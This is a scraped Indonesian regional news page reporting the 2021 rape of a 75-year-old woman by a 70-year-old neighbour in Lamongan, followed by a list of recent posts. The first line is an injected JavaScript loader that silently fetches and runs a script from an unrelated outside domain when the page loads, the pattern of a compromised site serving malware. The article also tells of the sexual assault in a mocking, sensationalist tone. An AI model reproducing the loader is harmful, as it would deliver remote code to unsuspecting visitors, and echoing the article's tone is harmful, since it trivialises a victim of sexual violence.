(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

HEBOH. Kakek Bau Tanah Perkosa Nenek 75 Tahun, Tepergok Saat Korban Teriak


KANALKALIMANTAN.COM, LAMONGAN – Tua tua keladi, makin tua makin menjadi. Seorang kakek bau tanah di Lamongan berinisial RAS (70) nekat memperkosa nenek berusia 75 tahun.

Parahnya, korban merupakan tetaggannya sendiri. Aksi bejat si kakek itu terkuak saat korban teriak minta tolong kemudian tepergok oleh anak korban.

Peristiwa itu bermula saat MAS, anak korban, mendengar jeritan ibunya KAR (75) di dalam rumah di Desa Sidomukti Kecamatan Berondong Lamongan. Seketika itu perempuan berusia 51 tahun beranjak ke sumber suara.

Namun saat hendak ke rumah ibunya itu, MAS melihat ada sepeda ontel yang diduga milik pelaku terparkir rapi di depan rumah. Ia sudah menduga, jika rumah ibunya didatangi tamu yang telah berbuat jahat.

 

 

Baca juga: Walhi Kalsel Sorot Tragedi Lingkungan Pergeseran Tanah Lingkar Tambang di Tapin

“Anak korban mendengar suara ibunya minta tolong. Dia mendengar ibunya berteriak jangan, jangan, sudah, sudah,” kata Kasat Reskrim Polres Lamongan AKP Yoan Septi Hendri, Sabtu (31/7/2021).

Setelah itu, anak korban memasuki kamar dan melihat perbuatan yang tak pantas dilakukan kakek berusia 70 tahun. Atas kejadian itu, ia akhirnya membawa kasus ini ke permasalahan hukum.

Baca juga: Tak Bisa Gelar Lomba 17-an, Warga Sungai Tabuk Pasang Umbul-umbul dan Bendera di Sepanjang Jalan

Kakek yang juga tetangannya itu dilaporkan ke polisi dengan tuduhan melakukan pemerkosaan. “Melihat hal tersebut anak korban kaget dan berteriak meminta tolong kepada warga sekitar,” ujarnya.

Saat diamankan RAS tidak bisa berbuat apa-apa. Ia hanya pasrah dan meratapi nasib sisa hidup di penjara. Mengingat usia pelaku juga tidak lagi muda. Sedangkan di hadapan polisi, pelaku mengaku khilaf melakukan perbuatan tersebut.

“Terlapor mengaku kepada petugas bahwa telah memperkosa korban karena khilaf kemudian petugas membawa terlapor ke Polres Lamongan,” ujarnya.

Atas perbuatannya tersangka akan dijerat dengan Pasal 285 KUHP tentang tindakan atau perbuatan laki-laki yang memaksa perempuan agar mau bersetubuh dengannya di luar perkawinan dengan menggunakan kekerasan atau ancaman kekerasan, dengan ancaman hukum penjara selama 12 tahun. (Suara)

Editor: suara


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

4 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

7 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

7 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

9 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

11 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

12 jam ago

This website uses cookies.